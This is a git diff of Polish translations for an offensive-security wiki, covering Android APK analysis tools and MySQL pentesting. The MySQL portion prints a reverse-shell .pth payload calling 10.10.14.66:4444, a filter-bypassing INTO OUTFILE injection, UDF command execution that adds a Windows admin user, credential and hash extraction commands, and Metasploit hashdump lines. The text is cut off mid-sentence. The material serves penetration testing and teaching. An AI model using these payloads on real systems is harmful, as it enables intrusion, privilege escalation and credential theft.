w przypadku Drozer, nie ma potrzeby rootowania urządzenia testowego. +Narzędzie zostało zaprojektowane do wyszukiwania różnych **security related Android application vulnerabilities**, zarówno w **source code**, jak i w **packaged APKs**. Narzędzie jest również **zdolne do tworzenia "Proof-of-Concept" deployable APK** oraz generowania **ADB commands**, aby wykorzystać niektóre ze znalezionych podatności (Exposed activities, intents, tapjacking...). Podobnie jak w przypadku Drozer, nie ma potrzeby rootowania urządzenia testowego. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -686,10 +687,10 @@ qark --java path/to/specific/java/file.java ``` ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) -- Wyświetla wszystkie wyodrębnione pliki dla szybkiego wglądu +- Wyświetla wszystkie wyodrębnione pliki do szybkiego przeglądu - Automatycznie dekompiluje pliki APK do formatu Java i Smali -- Analizuje AndroidManifest.xml pod kątem typowych podatności i zachowań -- Wykonuje statyczną analizę kodu źródłowego pod kątem typowych podatności i zachowań +- Analizuje AndroidManifest.xml pod kątem typowych podatności i zachowania +- Statyczna analiza kodu źródłowego pod kątem typowych podatności i zachowań - Informacje o urządzeniu - i więcej ```bash @@ -697,11 +698,11 @@ reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER to aplikacja wiersza poleceń, którą można używać w Windows, MacOS X i Linux, analizująca pliki _.apk_ w poszukiwaniu podatności. Robi to, rozpakowując APK i stosując serię reguł, aby wykryć te podatności. +SUPER to aplikacja wiersza poleceń, którą można używać na Windows, MacOS X i Linux, analizująca pliki _.apk_ w poszukiwaniu podatności. Robi to poprzez rozpakowywanie APK i stosowanie zestawu reguł w celu wykrycia tych podatności. -Wszystkie reguły znajdują się w pliku `rules.json`, a każda firma lub tester mogą stworzyć własne reguły, aby analizować to, czego potrzebują. +Wszystkie reguły są umieszczone w pliku `rules.json`, a każda firma lub tester może stworzyć własne reguły, aby analizować to, czego potrzebują. -Pobierz najnowsze binaria z [download page](https://superanalyzer.rocks/download.html) +Pobierz najnowsze binaria ze [download page](https://superanalyzer.rocks/download.html) ``` super-analyzer {apk_file} ``` @@ -709,9 +710,9 @@ super-analyzer {apk_file} ![](<../../images/image (297).png>) -StaCoAn to **crossplatform** narzędzie, które pomaga deweloperom, bugbounty hunters i ethical hackers w przeprowadzaniu [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) na aplikacjach mobilnych. +StaCoAn to **crossplatform** narzędzie, które wspomaga programistów, bugbounty hunters i ethical hackers w przeprowadzaniu [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) aplikacji mobilnych. -Koncepcja polega na tym, że przeciągasz i upuszczasz plik aplikacji mobilnej (.apk or .ipa file) na aplikację StaCoAn, a ona wygeneruje dla Ciebie wizualny i przenośny raport. Możesz dostosować ustawienia i wordlists, aby uzyskać spersonalizowane doświadczenie. +Koncepcja polega na tym, że przeciągasz i upuszczasz plik swojej aplikacji mobilnej (an .apk or .ipa file) na aplikację StaCoAn, a ona wygeneruje dla Ciebie wizualny i przenośny raport. Możesz dostosować ustawienia i wordlists, aby uzyskać spersonalizowane doświadczenie. Pobierz[ latest release](https://github.com/vincentcox/StaCoAn/releases): ``` @@ -719,7 +720,7 @@ Pobierz[ latest release](https://github.com/vincentcox/StaCoAn/releases): ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) -AndroBugs Framework to system analizy podatności dla Androida, który pomaga deweloperom lub hackers znaleźć potencjalne luki bezpieczeństwa w aplikacjach Android.\ +AndroBugs Framework to system analizy podatności dla Androida, który pomaga deweloperom lub hackers znaleźć potencjalne luki w zabezpieczeniach aplikacji Android.\ [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) ``` python androbugs.py -f [APK file] @@ -727,11 +728,11 @@ androbugs.exe -f [APK file] ``` ### [Androwarn](https://github.com/maaaaz/androwarn) -**Androwarn** to narzędzie, którego głównym celem jest wykrywanie i ostrzeganie użytkownika przed potencjalnymi złośliwymi zachowaniami powodowanymi przez aplikację Android. +**Androwarn** to narzędzie, którego głównym celem jest wykrywanie i ostrzeganie użytkownika o potencjalnie złośliwych zachowaniach wykonywanych przez aplikację na Androida. -Wykrywanie odbywa się poprzez **analizę statyczną** kodu bajtowego Dalvik aplikacji, reprezentowanego jako **Smali**, przy użyciu biblioteki [`androguard`](https://github.com/androguard/androguard). +Wykrywanie odbywa się za pomocą static analysis Dalvik bytecode aplikacji, reprezentowanego jako Smali, z użyciem biblioteki androguard. -Narzędzie szuka **typowych zachowań "złych" aplikacji** takich jak: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... +To narzędzie poszukuje typowych zachowań "złych" aplikacji, takich jak: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -739,76 +740,76 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. To narzędzie łączące często używane narzędzia do reverse engineeringu i analizy aplikacji mobilnych, aby wspomóc testowanie aplikacji mobilnych pod kątem zagrożeń bezpieczeństwa OWASP dla mobilnych aplikacji. Jego celem jest ułatwienie tej pracy i uczynienie jej bardziej przyjazną dla deweloperów aplikacji mobilnych oraz specjalistów ds. bezpieczeństwa. +**MARA** to framework do reverse engineeringu i analizy aplikacji mobilnych. Jest to narzędzie, które łączy powszechnie używane narzędzia do reverse engineeringu i analizy aplikacji mobilnych, aby wspomóc testowanie aplikacji mobilnych pod kątem zagrożeń bezpieczeństwa OWASP mobile. Jego celem jest ułatwienie tej pracy deweloperom aplikacji mobilnych oraz specjalistom ds. bezpieczeństwa. Potrafi: - Wyodrębniać kod Java i Smali przy użyciu różnych narzędzi -- Analizować APK za pomocą: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) -- Wydobywać prywatne informacje z APK przy użyciu regexpów. +- Analizować APKi za pomocą: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) +- Wydobywać informacje prywatne z APK za pomocą regexów. - Analizować Manifest. -- Analizować znalezione domeny za pomocą: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) oraz [whatweb](https://github.com/urbanadventurer/WhatWeb) -- Deobfuskować APK przez [apk-deguard.com] +- Analizować znalezione domeny przy użyciu: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) i [whatweb](https://github.com/urbanadventurer/WhatWeb) +- Deobfuskować APK przez [apk-deguard.com](http://www.apk-deguard.com) ### Koodous -Przydatne do wykrywania złośliwego oprogramowania: https://koodous.com/ +Przydatne do wykrywania malware: [https://koodous.com/](https://koodous.com) -## Obfuscating/Deobfuscating code +## Obfuskacja/Deobfuskacja kodu Zwróć uwagę, że w zależności od usługi i konfiguracji użytej do obfuskacji kodu, sekrety mogą, ale nie muszą być obfuskowane. ### [ProGuard]() -Z [Wikipedia](): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. Potrafi optymalizować bytecode oraz wykrywać i usuwać nieużywane instrukcje. ProGuard jest wolnym oprogramowaniem i jest dystrybuowany na licencji GNU General Public License, wersja 2. +Z [Wikipedia](): **ProGuard** jest open source'owym narzędziem konsolowym, które zmniejsza, optymalizuje i obfuskje kod Java. Potrafi optymalizować bytecode oraz wykrywać i usuwać nieużywane instrukcje. ProGuard jest wolnym oprogramowaniem rozpowszechnianym na licencji GNU General Public License, wersja 2. -ProGuard jest dostarczany jako część Android SDK i uruchamiany podczas budowania aplikacji w trybie release. +ProGuard jest dostarczany jako część Android SDK i uruchamia się podczas budowania aplikacji w trybie release. ### [DexGuard](https://www.guardsquare.com/dexguard) -Znajdź przewodnik krok po kroku, jak zdeobfuskować apk w [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) +Znajdź krok po kroku przewodnik jak deobfuskować apk w [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) -(Z tego przewodnika) Ostatnio, gdy sprawdzaliśmy, tryb działania Dexguard był następujący: +(Z tego przewodnika) Ostatnio, gdy sprawdzaliśmy, tryb działania Dexguard wyglądał następująco: -- load a resource as an InputStream; -- feed the result to a class inheriting from FilterInputStream to decrypt it; -- do some useless obfuscation to waste a few minutes of time from a reverser; -- feed the decrypted result to a ZipInputStream to get a DEX file; -- finally load the resulting DEX as a Resource using the `loadDex` method. +- załaduj zasób jako InputStream; +- przekaż wynik do klasy dziedziczącej po FilterInputStream, aby go odszyfrować; +- wykonaj pewną bezużyteczną obfuskację, żeby zmarnować kilka minut czasu reversera; +- przekaż odszyfrowany wynik do ZipInputStream, aby uzyskać plik DEX; +- w końcu załaduj powstały DEX jako zasób używając metody `loadDex`. ### [DeGuard](http://apk-deguard.com) -**DeGuard odwraca proces obfuskacji wykonywany przez narzędzia do obfuskacji Androida. Umożliwia to liczne analizy bezpieczeństwa, w tym przegląd kodu i identyfikację bibliotek.** +**DeGuard odwraca proces obfuskacji wykonywany przez narzędzia obfuskacyjne dla Androida. Umożliwia to liczne analizy bezpieczeństwa, w tym inspekcję kodu i identyfikację bibliotek.** -Możesz przesłać obfuskowane APK na ich platformę. +Możesz przesłać obfuskowany APK na ich platformę. ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app -To narzędzie LLM do znajdowania potencjalnych luk w bezpieczeństwie aplikacji Android oraz deobfuskacji kodu aplikacji Android. Korzysta z publicznego API Gemini od Google. +To narzędzie LLM do znajdowania potencjalnych luk bezpieczeństwa w aplikacjach android oraz deobfuskacji kodu aplikacji android. Wykorzystuje publiczne API Google Gemini. ### [Simplify](https://github.com/CalebFenton/simplify) -Jest to **uniwersalny deobfuskator dla Androida.** Simplify **praktycznie wykonuje aplikację** aby zrozumieć jej zachowanie, a następnie **stara się zoptymalizować kod**, tak aby zachowywał się identycznie, ale był łatwiejszy do zrozumienia dla człowieka. Każdy rodzaj optymalizacji jest prosty i uniwersalny, więc nie ma znaczenia, jaki konkretny typ obfuskacji został użyty. +To **ogólny deobfuskator dla Androida.** Simplify **wirtualnie wykonuje aplikację**, aby zrozumieć jej zachowanie, a następnie **stara się zoptymalizować kod**, tak aby zachowywał się identycznie, ale był łatwiejszy do zrozumienia przez człowieka. Każdy typ optymalizacji jest prosty i ogólny, więc nie ma znaczenia, jaki konkretny typ obfuskacji został użyty. ### [APKiD](https://github.com/rednaga/APKiD) -APKiD dostarcza informacji o **tym, jak zbudowano APK**. Identyfikuje wiele **kompilatorów**, **packerów**, **obfuskatorów** i innych dziwnych rzeczy. To jest [_PEiD_] dla Androida. +APKiD dostarcza informacji o **tym, jak APK zostało stworzone**. Identyfikuje wiele **kompilatorów**, **packerów**, **obfuskatorów** i innych dziwnych rzeczy. To [_PEiD_](https://www.aldeid.com/wiki/PEiD) dla Androida. ### Manual -Przeczytaj ten tutorial, aby poznać kilka sztuczek dotyczących **odwracania niestandardowej obfuskacji** (manual-deobfuscation.md) +[Przeczytaj ten poradnik, aby poznać kilka trików dotyczących **odwracania niestandardowej obfuskacji**](manual-deobfuscation.md) -## Labs +## Laboratoria ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b to wirtualna maszyna bezpieczeństwa Android oparta na ubuntu-mate, zawierająca zbiór najnowszych frameworków, tutoriali i laboratoriów od różnych entuzjastów bezpieczeństwa i badaczy, przeznaczona do reverse engineeringu i analizy złośliwego oprogramowania. +AndroL4b to wirtualna maszyna bezpieczeństwa Android oparta na ubuntu-mate, zawierająca kolekcję najnowszych frameworków, tutoriali i laboratoriów od różnych entuzjastów i badaczy bezpieczeństwa do reverse engineeringu i analizy malware. -## References +## Referencje - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) - [https://appsecwiki.com/#/](https://appsecwiki.com/#/) To świetna lista zasobów -- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Krótkie wprowadzenie do Android App RE +- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) - [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) @@ -816,7 +817,7 @@ AndroL4b to wirtualna maszyna bezpieczeństwa Android oparta na ubuntu-mate, zaw - [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect) - [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns) -## Yet to try +## Do wypróbowania - [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) - [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index 2bec54fbc..ba649cadb 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -4,7 +4,7 @@ ## **Podstawowe informacje** -**MySQL** można opisać jako otwartoźródłowy **Relational Database Management System (RDBMS)** dostępny bezpłatnie. Wykorzystuje **Structured Query Language (SQL)**, umożliwiając zarządzanie i manipulację bazami danych. +**MySQL** to otwartoźródłowy **Relational Database Management System (RDBMS)** dostępny bezpłatnie. Operuje na **Structured Query Language (SQL)**, umożliwiając zarządzanie i manipulację bazami danych. **Domyślny port:** 3306 ``` @@ -12,7 +12,7 @@ ``` ## **Połączenie** -### **Lokalne** +### **Lokalnie** ```bash mysql -u root # Connect to root without password mysql -u root -p # A password will be asked (check someone) @@ -22,9 +22,9 @@ mysql -u root -p # A password will be asked (check someone) mysql -h -u root mysql -h -u root@localhost ``` -## External Enumeration +## Zewnętrzna enumeracja -Niektóre akcje enumeration wymagają ważnych danych uwierzytelniających. +Niektóre działania enumeracyjne wymagają prawidłowych poświadczeń ```bash nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 msf> use auxiliary/scanner/mysql/mysql_version @@ -78,7 +78,7 @@ quit; mysql -u username -p < manycommands.sql #A file with all the commands you want to execute mysql -u root -h 127.0.0.1 -e 'show databases;' ``` -### Wyliczanie uprawnień MySQL +### Enumeracja uprawnień MySQL ```sql #Mysql SHOW GRANTS [FOR user]; @@ -101,7 +101,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT #@ Functions not from sys. db SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys'; ``` -W dokumentacji można zobaczyć znaczenie każdego przywileju: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute) +W dokumentacji możesz zobaczyć znaczenie każdego uprawnienia: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute) ### MySQL File RCE @@ -110,30 +110,30 @@ W dokumentacji można zobaczyć znaczenie każdego przywileju: [https://dev.mysq ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md {{#endref}} -#### INTO OUTFILE → Python `.pth` RCE (haków konfiguracyjnych specyficznych dla środowiska) +#### INTO OUTFILE → Python `.pth` RCE (haków konfiguracji specyficznych dla serwisu) -Wykorzystując klasyczny prymityw `INTO OUTFILE` można uzyskać *wykonanie dowolnego kodu* na celach, które później uruchamiają skrypty **Python**. +Nadużywając klasycznego `INTO OUTFILE` primitive można uzyskać *dowolne wykonanie kodu* na celach, które później uruchamiają **Python** scripts. -1. Użyj `INTO OUTFILE`, aby umieścić niestandardowy plik **`.pth`** w dowolnym katalogu ładowanym automatycznie przez `site.py` (np. `.../lib/python3.10/site-packages/`). -2. Plik `.pth` może zawierać *pojedynczą linię* rozpoczynającą się od `import `, po którym następuje dowolny kod Python, który zostanie wykonany za każdym razem, gdy interpreter się uruchomi. -3. Jeśli interpreter jest wywoływany pośrednio przez skrypt CGI (na przykład `/cgi-bin/ml-draw.py` z shebangiem `#!/bin/python`), payload zostanie wykonany z tymi samymi uprawnieniami co proces serwera WWW (FortiWeb uruchomił go jako **root** → pełne pre-auth RCE). +1. Użyj `INTO OUTFILE`, aby zapisać niestandardowy **`.pth`** plik w dowolnym katalogu ładowanym automatycznie przez `site.py` (np. `.../lib/python3.10/site-packages/`). +2. Plik `.pth` może zawierać *pojedynczą linię* zaczynającą się od `import `, po której następuje dowolny kod Python, który zostanie wykonany przy każdym uruchomieniu interpretera. +3. Gdy interpreter jest wywołany pośrednio przez skrypt CGI (na przykład `/cgi-bin/ml-draw.py` z shebangiem `#!/bin/python`), payload jest wykonywany z tymi samymi uprawnieniami co proces web-serwera (FortiWeb uruchomił to jako **root** → pełne pre-auth RCE). -Przykładowy payload `.pth` (pojedyncza linia, w końcowym SQL payload nie mogą występować spacje, więc może być konieczne użycie hex/`UNHEX()` lub konkatenacji łańcuchów): +Przykładowy `.pth` payload (pojedyncza linia, spacje nie mogą być uwzględnione w finalnym SQL payload, więc może być wymagane hex/`UNHEX()` lub konkatenacja stringów): ```python import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) ``` -Przykład tworzenia pliku za pomocą zapytania **UNION** (znaki spacji zastąpione `/**/`, aby obejść filtr spacji `sscanf("%128s")` i utrzymać całkowitą długość ≤128 bajtów): +Przykład tworzenia pliku za pomocą zapytania **UNION** (znaki spacji zastąpione przez `/**/` aby obejść filtr spacji `sscanf("%128s")` i utrzymać łączną długość ≤128 bajtów): ```sql '/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' ``` Ważne ograniczenia i obejścia: * `INTO OUTFILE` **nie może nadpisać** istniejących plików; wybierz nową nazwę pliku. -* Ścieżka do pliku jest rozwiązywana **względem MySQL’s CWD**, więc poprzedzenie jej `../../` pomaga skrócić ścieżkę i obejść ograniczenia dotyczące ścieżek absolutnych. -* Jeśli dane wejściowe atakującego są pobierane za pomocą `%128s` (lub podobnego), każda spacja obetnie payload; użyj sekwencji komentarzy MySQL `/**/` lub `/*!*/` zamiast spacji. -* Użytkownik MySQL wykonujący zapytanie potrzebuje uprawnienia `FILE`, ale w wielu urządzeniach (np. FortiWeb) usługa działa jako **root**, co daje dostęp do zapisu niemal wszędzie. +* Ścieżka pliku jest rozwiązywana **względem CWD MySQL**, więc prefiksowanie `../../` pomaga skrócić ścieżkę i ominąć ograniczenia dotyczące ścieżek absolutnych. +* Jeśli wejście atakującego jest pobierane za pomocą `%128s` (lub podobnego), każda spacja obetnie payload; użyj sekwencji komentarzy MySQL `/**/` lub `/*!*/` aby zastąpić spacje. +* Użytkownik MySQL wykonujący zapytanie potrzebuje uprawnienia `FILE`, ale na wielu urządzeniach (np. FortiWeb) usługa działa jako **root**, co daje dostęp do zapisu prawie wszędzie. -Po zapisaniu `.pth`, wystarczy zażądać dowolnego CGI obsługiwanego przez interpreter Pythona, aby uzyskać wykonanie kodu: +Po zapisaniu `.pth`, wystarczy zażądać dowolnego CGI obsługiwanego przez interpreter python, aby uzyskać wykonanie kodu: ``` GET /cgi-bin/ml-draw.py HTTP/1.1 Host: @@ -145,22 +145,25 @@ $ nc -lvnp 4444 id uid=0(root) gid=0(root) groups=0(root) ``` -## MySQL dowolny odczyt pliku przez client +--- -Zasadniczo, gdy próbujesz **load data local into a table**, serwer MySQL lub MariaDB prosi **client to read it** i przesyła zawartość pliku. **Jeżeli uda ci się zmanipulować mysql client tak, by połączył się z twoim własnym MySQL server, możesz odczytać arbitrary files.**\ -Zwróć uwagę, że takie zachowanie występuje przy użyciu: + +## MySQL arbitrary read file by client + +Tak naprawdę, gdy próbujesz **load data local into a table**, serwer MySQL lub MariaDB prosi **client to read it** i wysłać **content of a file**. **Then, if you can tamper a mysql client to connect to your own MySQL server, you can read arbitrary files.**\ +Zauważ, że to zachowanie występuje przy użyciu: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` -(Zwróć uwagę na słowo "local")\ -Ponieważ bez "local" możesz otrzymać: +(Zauważ słowo "local")\ +Ponieważ bez "local" możesz uzyskać: ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` -**Wstępny PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ -**W tym artykule znajdziesz pełny opis ataku i nawet jak rozszerzyć go do RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ +**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ +**W tym artykule możesz zobaczyć pełny opis ataku i nawet jak rozszerzyć go do RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ **Tutaj znajdziesz przegląd ataku:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) ​ @@ -169,23 +172,23 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti ## POST -### Użytkownik mysql +### Użytkownik Mysql Będzie to bardzo interesujące, jeśli mysql działa jako **root**: ```bash cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1 ``` -#### Niebezpieczne ustawienia mysqld.cnf +#### Dangerous Settings of mysqld.cnf -W konfiguracji usług MySQL używa się różnych ustawień do określenia jego działania i zabezpieczeń: +W konfiguracji usług MySQL stosuje się różne ustawienia, aby zdefiniować sposób działania i środki bezpieczeństwa: -- Ustawienie **`user`** służy do wskazania użytkownika, pod którym będzie uruchomiona usługa MySQL. -- **`password`** jest stosowane do ustawienia hasła powiązanego z użytkownikiem MySQL. -- **`admin_address`** określa adres IP, który nasłuchuje połączeń TCP/IP na interfejsie sieciowym administracyjnym. -- Zmienna **`debug`** wskazuje bieżące ustawienia debugowania, które mogą zawierać wrażliwe informacje w logach. -- **`sql_warnings`** kontroluje, czy dla instrukcji INSERT wstawiających pojedynczy wiersz generowane są komunikaty informacyjne przy wystąpieniu ostrzeżeń — co może prowadzić do ujawnienia wrażliwych danych w logach. -- Dzięki **`secure_file_priv`** zakres operacji importu i eksportu danych jest ograniczony w celu zwiększenia bezpieczeństwa. +- The **`user`** setting is utilized for designating the user under which the MySQL service will be executed. +- **`password`** is applied for establishing the password associated with the MySQL user. +- **`admin_address`** specifies the IP address that listens for TCP/IP connections on the administrative network interface. +- The **`debug`** variable is indicative of the present debugging configurations, including sensitive information within logs. +- **`sql_warnings`** manages whether information strings are generated for single-row INSERT statements when warnings emerge, containing sensitive data within logs. +- With **`secure_file_priv`**, the scope of data import and export operations is constrained to enhance security. ### Privilege escalation ```bash @@ -205,18 +208,18 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys # Get a shell (with your permissions, usefull for sudo/suid privesc) \! sh ``` -### Eskalacja uprawnień przez bibliotekę +### Privilege Escalation via library -Jeśli **mysql server działa jako root** (lub inny, bardziej uprzywilejowany użytkownik) możesz sprawić, że będzie wykonywać polecenia. W tym celu musisz użyć **funkcji zdefiniowanych przez użytkownika**. Aby utworzyć taką funkcję, będziesz potrzebować **biblioteki** dla systemu operacyjnego, na którym działa mysql. +Jeśli **mysql server is running as root** (lub inny, uprzywilejowany użytkownik), możesz zmusić go do wykonywania poleceń. W tym celu musisz użyć **user defined functions**. A żeby utworzyć funkcję zdefiniowaną przez użytkownika, będziesz potrzebować **library** dla systemu operacyjnego, na którym działa mysql. -Złośliwą bibliotekę do użycia można znaleźć w sqlmap i w metasploit, wykonując **`locate "*lib_mysqludf_sys*"`**. Pliki **`.so`** to biblioteki **linux**, a **`.dll`** to biblioteki **Windows** — wybierz tę, której potrzebujesz. +Złośliwą bibliotekę możesz znaleźć w sqlmap i w metasploit, wykonując **`locate "*lib_mysqludf_sys*"`**. Pliki **`.so`** to biblioteki **linux**, a **`.dll`** to biblioteki **Windows** — wybierz tę, której potrzebujesz. -Jeśli **nie masz** tych bibliotek, możesz albo **poszukać ich**, albo pobrać ten [**linux C code**](https://www.exploit-db.com/exploits/1518) i **skompilować go na podatnej maszynie linux**: +Jeżeli **nie masz** tych bibliotek, możesz albo **poszukać ich**, albo pobrać ten [**linux C code**](https://www.exploit-db.com/exploits/1518) i **skompilować go na podatnej maszynie z linux**: ```bash gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc ``` -Gdy masz już bibliotekę, zaloguj się do Mysql jako uprzywilejowany użytkownik (root?) i wykonaj następujące kroki: +Teraz, gdy masz bibliotekę, zaloguj się do Mysql jako uprzywilejowany użytkownik (root?) i wykonaj poniższe kroki: #### Linux ```sql @@ -250,26 +253,26 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll'; SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net localgroup Administrators npn /add"); ``` -#### Porada Windows: tworzenie katalogów z NTFS ADS z poziomu SQL +#### Windows tip: create directories with NTFS ADS from SQL -Na NTFS można wymusić utworzenie katalogu przy użyciu alternatywnego strumienia danych, nawet gdy jedyną dostępną operacją jest zapis pliku. Jeśli the classic UDF chain oczekuje katalogu `plugin`, ale on nie istnieje i `@@plugin_dir` jest nieznany lub zablokowany, możesz najpierw go utworzyć za pomocą `::$INDEX_ALLOCATION`: +Na NTFS można wymusić utworzenie katalogu przy użyciu alternate data stream nawet wtedy, gdy dostępny jest tylko prymityw zapisu pliku. Jeśli klasyczny UDF chain oczekuje katalogu `plugin`, ale on nie istnieje, a `@@plugin_dir` jest nieznany lub zablokowany, możesz najpierw utworzyć go za pomocą `::$INDEX_ALLOCATION`: ```sql SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; -- After this, `C:\\MySQL\\lib\\plugin` exists as a directory ``` -To zamienia ograniczony `SELECT ... INTO OUTFILE` w bardziej kompletny prymityw na systemach Windows, tworząc strukturę katalogów potrzebną do UDF drops. +To zamienia ograniczone `SELECT ... INTO OUTFILE` w bardziej kompletny prymityw na Windows stacks poprzez utworzenie struktury katalogów potrzebnej do UDF drops. ### Wyodrębnianie poświadczeń MySQL z plików -W pliku _/etc/mysql/debian.cnf_ możesz znaleźć **hasło w postaci jawnego tekstu** użytkownika **debian-sys-maint** +Wewnątrz _/etc/mysql/debian.cnf_ można znaleźć **hasło w postaci jawnego tekstu** użytkownika **debian-sys-maint** ```bash cat /etc/mysql/debian.cnf ``` Możesz **użyć tych poświadczeń, aby zalogować się do bazy danych mysql**. -W pliku: _/var/lib/mysql/mysql/user.MYD_ znajdziesz **wszystkie hashes użytkowników MySQL** (te, które możesz wyodrębnić z mysql.user w bazie danych)_._ +W pliku: _/var/lib/mysql/mysql/user.MYD_ możesz znaleźć **all the hashes of the MySQL users** (te, które możesz wyciągnąć z mysql.user w bazie danych)_._ -Możesz je wyodrębnić wykonując: +Możesz je wyciągnąć wykonując: ```bash grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" ``` @@ -654,35 +657,36 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ``` -## Najważniejsze 2023-2025 (nowe) +## 2023-2025 Highlights (new) ### JDBC `propertiesTransform` deserialization (CVE-2023-21971) -W Connector/J <= 8.0.32 atakujący, który może wpływać na **JDBC URL** (np. w oprogramowaniu firm trzecich, które prosi o connection string), może zażądać załadowania dowolnych klas po stronie *client* za pomocą parametru `propertiesTransform`. Jeśli na class-path znajduje się gadżet, który można załadować, prowadzi to do **remote code execution w kontekście JDBC client** (pre-auth, ponieważ nie są wymagane prawidłowe poświadczenia). Minimalny PoC wygląda tak: +Od Connector/J <= 8.0.32 atakujący, który może wpłynąć na **JDBC URL** (np. w oprogramowaniu firm trzecich, które prosi o connection string) może zażądać załadowania dowolnych klas po stronie *client* za pomocą parametru `propertiesTransform`. Jeśli gadget obecny na 